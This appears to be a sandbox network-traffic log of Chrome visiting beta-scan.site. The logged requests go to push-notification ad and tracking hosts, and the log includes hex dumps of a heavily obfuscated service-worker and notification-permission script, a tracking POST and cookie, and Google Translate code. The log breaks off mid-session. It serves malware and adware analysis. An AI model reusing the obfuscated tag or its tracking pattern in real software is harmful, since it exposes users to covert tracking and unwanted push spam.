Accept: / Origin: https://beta-scan.site Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://beta-scan.site/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:19:01 UTC	504	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 03 Oct 2024 15:19:01 GMT Content-Length: 0 Connection: close Accept-Ch: Sec-CH-UA, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model Access-Control-Allow-Origin: https://beta-scan.site Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: Origin, X-Requested-With, X-Oaid, Content-Type, Accept Strict-Transport-Security: max-age=1 X-Content-Type-Options: nosniff

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.17	55804	139.45.197.251	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:01 UTC	608	OUT	POST /event HTTP/1.1 Host: redrotou.net Connection: keep-alive Content-Length: 780 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://beta-scan.site Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://beta-scan.site/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:19:01 UTC	780	OUT	Data Raw: 7b 22 63 6f 64 65 22 3a 22 63 75 73 74 6f 6d 22 2c 22 7a 6f 6e 65 5f 69 64 22 3a 36 35 30 38 38 30 34 2c 22 73 77 5f 76 65 72 73 69 6f 6e 22 3a 22 33 2e 31 2e 35 36 30 22 2c 22 74 72 61 63 65 5f 69 64 22 3a 22 61 66 64 33 62 30 66 61 2d 66 65 61 36 2d 34 64 62 63 2d 61 61 64 31 2d 30 64 63 32 39 31 35 32 31 37 34 34 22 2c 22 6c 6f 63 61 74 69 6f 6e 22 3a 22 68 74 74 70 73 3a 2f 2f 62 65 74 61 2d 73 63 61 6e 2e 73 69 74 65 2f 63 31 64 35 6c 32 6b 2e 70 68 70 3f 6b 65 79 3d 67 38 30 6b 64 32 77 6e 72 69 65 33 79 74 73 37 6d 61 34 35 26 63 6f 73 74 3d 30 2e 30 39 30 30 30 26 63 61 6d 70 5f 69 64 3d 37 36 36 37 31 36 26 63 6f 75 6e 74 72 79 3d 55 53 26 70 6c 61 74 66 6f 72 6d 3d 57 69 6e 64 6f 77 73 26 7a 6f 6e 65 5f 69 64 3d 26 73 6f 75 72 63 65 5f 69 64 3d Data Ascii: {"code":"custom","zone_id":6508804,"sw_version":"3.1.560","trace_id":"afd3b0fa-fea6-4dbc-aad1-0dc291521744","location":"https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id=
2024-10-03 15:19:01 UTC	552	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 03 Oct 2024 15:19:01 GMT Content-Type: application/json; charset=utf-8 Content-Length: 26 Connection: close Accept-Ch: Sec-CH-UA, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model Access-Control-Allow-Origin: https://beta-scan.site Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: Origin, X-Requested-With, X-Oaid, Content-Type, Accept Strict-Transport-Security: max-age=1 X-Content-Type-Options: nosniff
2024-10-03 15:19:01 UTC	26	IN	Data Raw: 7b 22 73 74 61 74 75 73 22 3a 74 72 75 65 2c 22 63 6f 64 65 22 3a 22 22 7d 0a Data Ascii: {"status":true,"code":""}

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.17	55799	139.45.197.251	443

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:01 UTC	408	OUT	GET /pfe/current/micro.tag.min.js?z=6508804&sw=/sw-check-permissions-fd64c.js HTTP/1.1 Host: redrotou.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:19:01 UTC	325	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 03 Oct 2024 15:19:01 GMT Content-Type: application/javascript Content-Length: 45412 Last-Modified: Mon, 30 Sep 2024 15:57:33 GMT Connection: close ETag: "66faca6d-b164" Access-Control-Allow-Credentials: true Cache-Control: no-cache Pragma: no-cache Accept-Ranges: bytes
2024-10-03 15:19:01 UTC	16059	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 4b 29 7b 28 28 29 3d 3e 7b 27 75 73 65 20 73 74 72 69 63 74 27 3b 76 61 72 20 65 3d 4b 2e 4c 28 4b 2e 78 2c 28 65 2c 74 29 3d 3e 7b 4f 62 6a 65 63 74 5b 4b 2e 44 4b 5d 28 74 2c 4b 2e 76 4b 2c 4b 2e 4c 28 4b 2e 53 6b 2c 21 4b 2e 4e 29 29 2c 74 5b 4b 2e 41 4b 5d 3d 74 5b 4b 2e 65 4b 5d 3d 76 6f 69 64 20 4b 2e 4e 3b 63 6f 6e 73 74 20 72 3d 4b 2e 52 2c 6e 3d 5b 5d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 63 6f 6e 73 74 20 74 3d 77 69 6e 64 6f 77 5b 4b 2e 71 62 5d 5b 4b 2e 62 62 5d 5b 4b 2e 5a 4d 5d 5b 4b 2e 62 4d 5d 7c 7c 72 3b 5b 77 69 6e 64 6f 77 5b 74 5d 7c 7c 5b 5d 2c 6e 5d 5b 4b 2e 63 6b 5d 28 74 3d 3e 7b 63 6f 6e 73 74 20 72 3d 74 5b 4b 2e 68 53 5d 28 65 29 3b 72 3e 2d 4b 2e 74 72 26 26 74 5b 4b 2e 45 59 5d 28 72 2c 4b Data Ascii: (function(K){(()=>{'use strict';var e=K.L(K.x,(e,t)=>{Object[K.DK](t,K.vK,K.L(K.Sk,!K.N)),t[K.AK]=t[K.eK]=void K.N;const r=K.R,n=[];function o(e){const t=window[K.qb][K.bb][K.ZM][K.bM]\|\|r;[window[t]\|\|[],n][K.ck](t=>{const r=t[K.hS](e);r>-K.tr&&t[K.EY](r,K
2024-10-03 15:19:01 UTC	16384	IN	Data Raw: 2c 4b 2e 77 45 29 3a 4b 2e 4c 28 29 3b 72 65 74 75 72 6e 20 72 26 26 28 6f 5b 4b 2e 7a 59 5d 3d 72 29 2c 4b 2e 4c 28 4b 2e 62 4b 2c 6e 2c 4b 2e 6e 62 2c 65 2c 4b 2e 75 62 2c 4b 2e 7a 62 2c 4b 2e 61 62 2c 6f 29 7d 7d 2c 4b 2e 6c 2c 28 65 2c 74 2c 72 29 3d 3e 7b 4f 62 6a 65 63 74 5b 4b 2e 44 4b 5d 28 74 2c 4b 2e 76 4b 2c 4b 2e 4c 28 4b 2e 53 6b 2c 21 4b 2e 4e 29 29 2c 74 5b 4b 2e 51 72 5d 3d 76 6f 69 64 20 4b 2e 4e 3b 63 6f 6e 73 74 20 6e 3d 72 28 4b 2e 49 29 3b 74 5b 4b 2e 51 72 5d 3d 61 73 79 6e 63 20 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 2c 6f 29 7b 63 6f 6e 73 74 20 69 3d 28 4b 2e 4e 2c 6e 5b 4b 2e 42 6a 5d 29 28 74 2c 72 2c 6f 29 2c 61 3d 61 77 61 69 74 20 66 65 74 63 68 28 65 2c 69 29 3b 74 72 79 7b 72 65 74 75 72 6e 20 61 5b 4b 2e 53 45 5d 28 29 Data Ascii: ,K.wE):K.L();return r&&(o[K.zY]=r),K.L(K.bK,n,K.nb,e,K.ub,K.zb,K.ab,o)}},K.l,(e,t,r)=>{Object[K.DK](t,K.vK,K.L(K.Sk,!K.N)),t[K.Qr]=void K.N;const n=r(K.I);t[K.Qr]=async function(e,t,r,o){const i=(K.N,n[K.Bj])(t,r,o),a=await fetch(e,i);try{return a[K.SE]()
2024-10-03 15:19:01 UTC	12969	IN	Data Raw: 59 6b 5d 29 28 64 2c 74 2c 5f 29 29 3b 69 66 28 6f 5b 4b 2e 4d 72 5d 5b 4b 2e 57 4d 5d 28 4b 2e 4c 28 4b 2e 55 4d 2c 4b 2e 45 47 29 29 2c 69 26 26 6c 5b 4b 2e 44 4d 5d 26 26 77 69 6e 64 6f 77 5b 4b 2e 65 43 5d 29 7b 61 5b 4b 2e 6a 72 5d 5b 4b 2e 42 62 5d 28 4b 2e 4c 28 4b 2e 6a 4d 2c 4b 2e 6e 47 29 29 3b 74 72 79 7b 61 77 61 69 74 20 77 69 6e 64 6f 77 5b 4b 2e 65 43 5d 28 69 2c 64 5b 4b 2e 56 4b 5d 29 7d 63 61 74 63 68 28 65 29 7b 61 5b 4b 2e 6a 72 5d 5b 4b 2e 61 72 5d 28 4b 2e 4c 28 4b 2e 47 45 2c 4b 2e 51 68 2c 4b 2e 61 72 2c 65 2c 4b 2e 76 45 2c 4b 2e 4c 28 4b 2e 7a 4b 2c 4b 2e 5a 62 29 29 29 7d 7d 7d 65 6c 73 65 20 72 26 26 6f 5b 4b 2e 4d 72 5d 5b 4b 2e 57 4d 5d 28 4b 2e 4c 28 4b 2e 55 4d 2c 60 6e 6f 74 5f 67 72 61 6e 74 65 64 5f 73 77 5f 69 73 5f 61 Data Ascii: Yk])(d,t,_));if(o[K.Mr][K.WM](K.L(K.UM,K.EG)),i&&l[K.DM]&&window[K.eC]){a[K.jr][K.Bb](K.L(K.jM,K.nG));try{await window[K.eC](i,d[K.VK])}catch(e){a[K.jr][K.ar](K.L(K.GE,K.Qh,K.ar,e,K.vE,K.L(K.zK,K.Zb)))}}}else r&&o[K.Mr][K.WM](K.L(K.UM,`not_granted_sw_is_a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.17	55803	139.45.195.8	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:01 UTC	619	OUT	GET /gid.js?pub=0&userId=&zoneId=6508804&checkDuplicate=true&ymid=&var=&source=pusher HTTP/1.1 Host: my.rtmark.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://beta-scan.site Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://beta-scan.site/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:19:01 UTC	702	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 03 Oct 2024 15:19:01 GMT Content-Type: application/json; charset=utf-8 Content-Length: 65 Connection: close Access-Control-Allow-Origin: https://beta-scan.site Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE Access-Control-Allow-Headers: Accept, Content-Type, Content-Length, Accept-Encoding, Authorization,X-CSRF-Token Access-Control-Expose-Headers: Authorization Access-Control-Allow-Credentials: true Timing-Allow-Origin: * Set-Cookie: ID=0180ea07f3dc4373ec03d20d44583ff0; expires=Fri, 03 Oct 2025 15:19:01 GMT; secure; SameSite=None Strict-Transport-Security: max-age=1 X-Content-Type-Options: nosniff Timing-Allow-Origin: *
2024-10-03 15:19:01 UTC	65	IN	Data Raw: 7b 22 67 69 64 22 3a 22 30 31 38 30 65 61 30 37 66 33 64 63 34 33 37 33 65 63 30 33 64 32 30 64 34 34 35 38 33 66 66 30 22 2c 22 73 6b 69 70 53 75 62 73 63 72 69 62 65 22 3a 66 61 6c 73 65 7d 0a Data Ascii: {"gid":"0180ea07f3dc4373ec03d20d44583ff0","skipSubscribe":false}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.17	55808	142.250.185.110	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:01 UTC	493	OUT	GET /translate_a/element.js?cb=googleTranslateElementInit HTTP/1.1 Host: translate.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlaHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:19:01 UTC	745	IN	HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 03 Oct 2024 15:19:01 GMT Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin-allow-popups Server: ESF X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Set-Cookie: __Secure-BUCKET=CLgH; Domain=.google.com; Expires=Tue, 01-Apr-2025 15:19:01 GMT; Path=/; Secure; HttpOnly; SameSite=lax Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Site,Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-03 15:19:01 UTC	645	IN	Data Raw: 38 30 30 30 0d 0a 0a 20 20 20 20 2f 2f 20 67 6f 2f 6d 73 73 2d 73 65 74 75 70 23 37 2d 6c 6f 61 64 2d 74 68 65 2d 6a 73 2d 6f 72 2d 63 73 73 2d 66 72 6f 6d 2d 79 6f 75 72 2d 69 6e 69 74 69 61 6c 2d 70 61 67 65 0a 20 20 20 20 69 66 28 21 77 69 6e 64 6f 77 5b 27 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 27 5d 29 20 7b 0a 20 20 20 20 20 20 63 6f 6e 73 74 20 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 20 3d 20 77 69 6e 64 6f 77 5b 27 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 27 5d 20 7c 7c 20 66 75 6e 63 74 69 6f 6e 28 65 29 20 7b 0a 20 20 20 20 20 20 20 20 74 68 72 6f 77 20 65 3b 0a 20 20 20 20 20 20 7d 3b 0a 20 20 20 20 20 20 77 69 6e 64 6f 77 5b 27 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 27 5d 20 3d 20 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 3b 0a 20 20 Data Ascii: 8000 // go/mss-setup#7-load-the-js-or-css-from-your-initial-page if(!window['_DumpException']) { const _DumpException = window['_DumpException'] \|\| function(e) { throw e; }; window['_DumpException'] = _DumpException;
2024-10-03 15:19:01 UTC	1390	IN	Data Raw: 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 0a 2a 2f 0a 76 61 72 20 62 61 2c 66 61 2c 6e 61 2c 71 61 2c 72 61 2c 74 61 2c 41 61 2c 52 61 2c 53 61 2c 56 61 2c 57 61 2c 64 62 2c 6a 62 2c 6b 62 2c 6c 62 2c 77 2c 6e 62 2c 6f 62 2c 71 62 2c 72 62 2c 73 62 2c 75 62 2c 79 62 3b 5f 2e 61 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 45 72 72 6f 72 2e 63 61 70 74 75 72 65 53 74 61 63 6b 54 72 61 63 65 29 45 72 72 6f 72 2e 63 61 70 74 75 72 65 53 74 61 63 6b 54 72 61 63 65 28 74 68 69 73 2c 5f 2e 61 61 29 3b 65 6c 73 65 7b 76 61 72 20 63 3d 45 72 72 6f 72 28 29 2e 73 74 61 63 6b 3b 63 26 26 28 74 68 69 73 2e 73 74 61 63 6b 3d 63 29 7d 61 26 26 28 74 68 69 73 2e 6d 65 73 73 61 67 65 3d 53 74 72 69 6e 67 28 61 29 29 3b 62 21 3d 3d 76 Data Ascii: Identifier: Apache-2.0*/var ba,fa,na,qa,ra,ta,Aa,Ra,Sa,Va,Wa,db,jb,kb,lb,w,nb,ob,qb,rb,sb,ub,yb;_.aa=function(a,b){if(Error.captureStackTrace)Error.captureStackTrace(this,_.aa);else{var c=Error().stack;c&&(this.stack=c)}a&&(this.message=String(a));b!==v
2024-10-03 15:19:01 UTC	1390	IN	Data Raw: 7b 72 65 74 75 72 6e 20 63 7d 3b 61 3d 73 61 2e 63 72 65 61 74 65 50 6f 6c 69 63 79 28 22 67 6f 6f 67 23 68 74 6d 6c 22 2c 7b 63 72 65 61 74 65 48 54 4d 4c 3a 62 2c 63 72 65 61 74 65 53 63 72 69 70 74 3a 62 2c 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 3a 62 7d 29 7d 63 61 74 63 68 28 63 29 7b 7d 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 76 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 75 61 3d 3d 3d 76 6f 69 64 20 30 26 26 28 75 61 3d 74 61 28 29 29 3b 72 65 74 75 72 6e 20 75 61 7d 3b 5f 2e 78 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 5f 2e 76 61 28 29 3b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 77 61 28 62 3f 62 2e 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 28 61 29 3a 61 29 7d 3b 5f 2e 79 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 Data Ascii: {return c};a=sa.createPolicy("goog#html",{createHTML:b,createScript:b,createScriptURL:b})}catch(c){}return a};_.va=function(){ua===void 0&&(ua=ta());return ua};_.xa=function(a){var b=_.va();return new _.wa(b?b.createScriptURL(a):a)};_.ya=function(a){if(a
2024-10-03 15:19:01 UTC	1390	IN	Data Raw: 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 69 66 28 62 3d 3d 31 26 26 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 61 72 67 75 6d 65 6e 74 73 5b 30 5d 29 29 72 65 74 75 72 6e 20 57 61 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 61 72 67 75 6d 65 6e 74 73 5b 30 5d 29 3b 66 6f 72 28 76 61 72 20 63 3d 7b 7d 2c 64 3d 30 3b 64 3c 62 3b 64 2b 2b 29 63 5b 61 72 67 75 6d 65 6e 74 73 5b 64 5d 5d 3d 21 30 3b 72 65 74 75 72 6e 20 63 7d 3b 5f 2e 58 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 2c 64 3b 72 65 74 75 72 6e 28 62 3d 28 64 3d 28 63 3d 62 2e 64 6f 63 75 6d 65 6e 74 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 3d 3d 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 61 2b 22 5b 6e 6f 6e 63 65 5d 22 29 29 3f 62 2e 6e 6f 6e 63 65 7c 7c 62 2e 67 Data Ascii: ents.length;if(b==1&&Array.isArray(arguments[0]))return Wa.apply(null,arguments[0]);for(var c={},d=0;d<b;d++)c[arguments[d]]=!0;return c};_.Xa=function(a,b){var c,d;return(b=(d=(c=b.document).querySelector)==null?void 0:d.call(c,a+"[nonce]"))?b.nonce\|\|b.g
2024-10-03 15:19:01 UTC	1390	IN	Data Raw: 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 72 6e 20 63 7d 74 68 72 6f 77 20 45 72 72 6f 72 28 22 61 22 29 3b 7d 3b 5f 2e 6d 62 3d 6c 62 28 74 68 69 73 29 3b 77 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 62 29 61 3a 7b 76 61 72 20 63 3d 5f 2e 6d 62 3b 61 3d 61 2e 73 70 6c 69 74 28 22 2e 22 29 3b 66 6f 72 28 76 61 72 20 64 3d 30 3b 64 3c 61 2e 6c 65 6e 67 74 68 2d 31 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 61 5b 64 5d 3b 69 66 28 21 28 65 20 69 6e 20 63 29 29 62 72 65 61 6b 20 61 3b 63 3d 63 5b 65 5d 7d 61 3d 61 5b 61 2e 6c 65 6e 67 74 68 2d 31 5d 3b 64 3d 63 5b 61 5d Data Ascii: obal&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.mb=lb(this);w=function(a,b){if(b)a:{var c=_.mb;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a]
2024-10-03 15:19:01 UTC	1390	IN	Data Raw: 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 6a 62 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 64 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 5f 2e 70 62 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 21 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 29 29 7b 61 3d 5f 2e 79 28 61 29 3b 66 6f 72 28 76 61 72 20 62 2c 63 3d 5b 5d 3b 21 28 62 3d 61 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 63 2e 70 75 73 68 28 62 2e 76 61 6c 75 65 29 3b 61 3d 63 7d 72 65 74 75 72 6e 20 61 7d 3b 71 62 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 0a 72 62 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 73 73 Data Ascii: )return{next:jb(a)};throw Error("d`"+String(a));};_.pb=function(a){if(!(a instanceof Array)){a=_.y(a);for(var b,c=[];!(b=a.next()).done;)c.push(b.value);a=c}return a};qb=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};rb=typeof Object.ass
2024-10-03 15:19:01 UTC	1390	IN	Data Raw: 50 72 6f 70 65 72 74 69 65 73 29 7b 76 61 72 20 64 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 62 2c 63 29 3b 64 26 26 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 61 2c 63 2c 64 29 7d 65 6c 73 65 20 61 5b 63 5d 3d 62 5b 63 5d 3b 61 2e 4f 3d 62 2e 70 72 6f 74 6f 74 79 70 65 7d 3b 5f 2e 45 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 61 3d 4e 75 6d 62 65 72 28 74 68 69 73 29 2c 62 3d 5b 5d 2c 63 3d 61 3b 63 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 63 2b 2b 29 62 5b 63 2d 61 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 63 5d 3b 72 65 74 75 72 6e 20 62 7d 3b 77 28 22 52 65 66 6c 65 63 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a Data Ascii: Properties){var d=Object.getOwnPropertyDescriptor(b,c);d&&Object.defineProperty(a,c,d)}else a[c]=b[c];a.O=b.prototype};_.Ea=function(){for(var a=Number(this),b=[],c=a;c<arguments.length;c++)b[c-a]=arguments[c];return b};w("Reflect",function(a){return a?a:
2024-10-03 15:19:01 UTC	1390	IN	Data Raw: 61 3b 64 65 66 61 75 6c 74 3a 68 3d 21 31 7d 68 3f 74 68 69 73 2e 48 28 67 29 3a 74 68 69 73 2e 73 28 67 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 48 3d 0a 66 75 6e 63 74 69 6f 6e 28 67 29 7b 76 61 72 20 68 3d 76 6f 69 64 20 30 3b 74 72 79 7b 68 3d 67 2e 74 68 65 6e 7d 63 61 74 63 68 28 6c 29 7b 74 68 69 73 2e 6f 28 6c 29 3b 72 65 74 75 72 6e 7d 74 79 70 65 6f 66 20 68 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 74 68 69 73 2e 4a 28 68 2c 67 29 3a 74 68 69 73 2e 73 28 67 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6f 3d 66 75 6e 63 74 69 6f 6e 28 67 29 7b 74 68 69 73 2e 42 28 32 2c 67 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 73 3d 66 75 6e 63 74 69 6f 6e 28 67 29 7b 74 68 69 73 2e 42 28 31 2c 67 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 42 3d 66 Data Ascii: a;default:h=!1}h?this.H(g):this.s(g)}};e.prototype.H=function(g){var h=void 0;try{h=g.then}catch(l){this.o(l);return}typeof h=="function"?this.J(h,g):this.s(g)};e.prototype.o=function(g){this.B(2,g)};e.prototype.s=function(g){this.B(1,g)};e.prototype.B=f
2024-10-03 15:19:01 UTC	1390	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 67 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 74 68 65 6e 28 76 6f 69 64 20 30 2c 67 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 4e 64 3d 66 75 6e 63 74 69 6f 6e 28 67 2c 68 29 7b 66 75 6e 63 74 69 6f 6e 20 6c 28 29 7b 73 77 69 74 63 68 28 6d 2e 67 29 7b 63 61 73 65 20 31 3a 67 28 6d 2e 6a 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 32 3a 68 28 6d 2e 6a 29 3b 62 72 65 61 6b 3b 64 65 66 61 75 6c 74 3a 74 68 72 6f 77 20 45 72 72 6f 72 28 22 6a 60 22 2b 6d 2e 67 29 3b 7d 7d 76 61 72 20 6d 3d 74 68 69 73 3b 74 68 69 73 2e 68 3d 3d 0a 6e 75 6c 6c 3f 66 2e 68 28 6c 29 3a 74 68 69 73 2e 68 2e 70 75 73 68 28 6c 29 3b 74 68 69 73 2e 41 3d 21 30 7d 3b 65 2e 72 65 73 6f 6c 76 65 3d 63 3b 65 2e 72 65 6a 65 63 74 3d 66 75 6e 63 74 69 6f 6e 28 67 29 Data Ascii: unction(g){return this.then(void 0,g)};e.prototype.Nd=function(g,h){function l(){switch(m.g){case 1:g(m.j);break;case 2:h(m.j);break;default:throw Error("j`"+m.g);}}var m=this;this.h==null?f.h(l):this.h.push(l);this.A=!0};e.resolve=c;e.reject=function(g)
2024-10-03 15:19:01 UTC	1390	IN	Data Raw: 61 28 5b 5b 6c 2c 32 5d 2c 5b 6d 2c 33 5d 5d 29 3b 69 66 28 6e 2e 67 65 74 28 6c 29 21 3d 32 7c 7c 6e 2e 67 65 74 28 6d 29 21 3d 33 29 72 65 74 75 72 6e 21 31 3b 6e 2e 64 65 6c 65 74 65 28 6c 29 3b 6e 2e 73 65 74 28 6d 2c 34 29 3b 72 65 74 75 72 6e 21 6e 2e 68 61 73 28 6c 29 26 26 6e 2e 67 65 74 28 6d 29 3d 3d 34 7d 63 61 74 63 68 28 70 29 7b 72 65 74 75 72 6e 21 31 7d 7d 28 29 29 72 65 74 75 72 6e 20 61 3b 0a 76 61 72 20 66 3d 22 24 6a 73 63 6f 6d 70 5f 68 69 64 64 65 6e 5f 22 2b 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 3b 65 28 22 66 72 65 65 7a 65 22 29 3b 65 28 22 70 72 65 76 65 6e 74 45 78 74 65 6e 73 69 6f 6e 73 22 29 3b 65 28 22 73 65 61 6c 22 29 3b 76 61 72 20 67 3d 30 2c 68 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 67 3d 28 67 2b 3d 4d Data Ascii: a([[l,2],[m,3]]);if(n.get(l)!=2\|\|n.get(m)!=3)return!1;n.delete(l);n.set(m,4);return!n.has(l)&&n.get(m)==4}catch(p){return!1}}())return a;var f="$jscomp_hidden_"+Math.random();e("freeze");e("preventExtensions");e("seal");var g=0,h=function(l){this.g=(g+=M

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.17	55809	13.107.5.88	443

Timestamp	Bytes transferred	Direction	Data
